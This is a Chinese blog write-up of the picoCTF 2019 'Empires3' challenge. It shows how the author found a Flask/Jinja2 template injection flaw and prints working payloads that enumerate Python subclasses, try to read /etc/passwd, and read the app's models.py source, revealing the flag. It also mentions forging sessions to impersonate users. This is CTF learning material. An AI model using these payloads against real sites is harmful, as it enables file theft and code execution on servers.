[网页漏洞] 资料库漏洞 - 绵花糖花式吃法

後续还有一个系列问题,搭配第30天整理刚好完赛,真是太美妙了...除了解不出来以外 XD


17. Empires3 - Points: 500

Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? https://2019shell1.picoctf.com/problem/21884/ (link) or http://2019shell1.picoctf.com:21884
探员513,你的一名坏同事笑的我心里发毛呀,你能偷存取他的 todo 工具项目并找出他的犯罪计划吗? 网址在 https://2019shell1.picoctf.com/problem/21884/ (link) 或是 http://2019shell1.picoctf.com:21884。
https://ithelp.ithome.com.tw/upload/images/20201211/20103688PONOwXQ9wA.png

HINT:

Pay attention to the feedback you get
There is very limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.
The database gets reverted every 2 hours if you do break it, just come back later

WRITEUP:

不意外,HINT 与前传系列相同,完全没帮助...题目明确的告诉你秘密在 todo 这个表格。
与 Empires2 相同,尝试特殊符号如 ' <>1 <> ' 皆会被正确处理,无法注入 SQL...


在 在 Empires2 解出来後,一开始的做法就是先试看看{{}}漏洞是否还存在...有的!
虽然输入 {{ config.items() } }的结果已经不同..
https://ithelp.ithome.com.tw/upload/images/20201211/2010368884al3D0NEp.png

那会不会是要使用”正规” 的手法?,翻翻上题参考中的正规解码
继续失败...(其实解出来也就是 {{session}} 的值)
没关系,有漏洞有希望!


google “flask injection template” 发现还有几个可以取得内容的语法,其中的 {{ [].class.base.subclasses() }} 可以得知列举出网页程序的程序码
https://ithelp.ithome.com.tw/upload/images/20201211/20103688l86lt4rcM2.png

再往下使用该文中的 payload 则失败,无法再继续下去

{{[].__class__.__base__.__subclasses__().pop(40)('etc/passwd').read() }}

因此再试图从 Empires2 找寻可能的解法。搜遍各式解法後,其中一篇解题就有使用到列举程序内容!
於是直接输入最终的 payload

'{{''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__['open'](''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').path.join('app', 'models.py')).read()}}'

Very Urgent: 'from app import db,login from werkzeug.security import generate_password_hash,check_password_hash from flask_login import UserMixin @login.user_loader def load_user(id): return User.query.get(int(id)) class User(UserMixin, db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(64),index=True,unique=True) name = db.Column(db.String(128)) password_hash = db.Column(db.String(128)) secret = db.Column(db.String(128),default="picoCTF{cookies_are_a_sometimes_food_a8b9006b}") admin = db.Column(db.Integer,default=0) def set_password(self,password): self.password_hash = generate_password_hash(password) def check_password(self,password): return check_password_hash(self.password_hash,password) def repr(self): return '<User {}>'.format(self.username) class Todo(db.Model): id = db.Column(db.Integer,primary_key=True) item = db.Column(db.String(256)) user_id = db.Column(db.Integer,db.ForeignKey('user.id')) def repr(self): return '<Todo {}>'.format(self.id) '

拿到 flag!仍然藏在 models.py 中。


这次的解法虽然因为 Empires2 偷吃步偷很大,其中的手法并不简单,回头花不少时间详阅该文中的 “Sessing:”段落,了解如何一步步列出档案、查看内容等详细过程。

另外解题过程中有提到在正规方式解码在本题没有作用一点,也是需要小小修正。使用该技巧可以解码再编码後,便可冒用别的使用者...
咦?这好像才是本题的原意啊!
https://ithelp.ithome.com.tw/upload/images/20201211/201036884rYBqx2W3T.png

越难的题目,解法也越来越多元了。

ANSWER:

picoCTF{cookies_are_a_sometimes_food_a8b9006b}


<<:  量化交易30天 Day29 - 整理量化交易相关学习资源

>>:  [Day 27] RecyclerView 下 - itmetouchhelper

Day 2 (html)

特别叮嘱禁止的错误 1.不要行内包区块 行内:(inline) span 区块:(block) p ...

[DAY2]SQL新手的懒人笔记

接续上一次的内容,今天一样会用较为简单的叙述去介绍与分享SQL的简易语法与函数。(大写为内建语法) ...

Day7 跟着官方文件学习Laravel-开始学习Command用法

注册的方式我想使用laravel的command来实作,原本想用form表单来实现,不过这样感觉主题...

[Day17] Vue 3 单元测试 (Unit Testing) - Vue Test Utils + Jest 基本范例 & 核心语法

在开始进入复杂的内容之前,我想先带大家认识几个会大量出现在每一个测试程序码里的核心语法,这些语法如果...

iOS APP 开发 OC 第二十二天,Portocol

tags: OC 30 day 什麽是Protocol? 作用:专门用来声明一大堆方法。(不能声明属...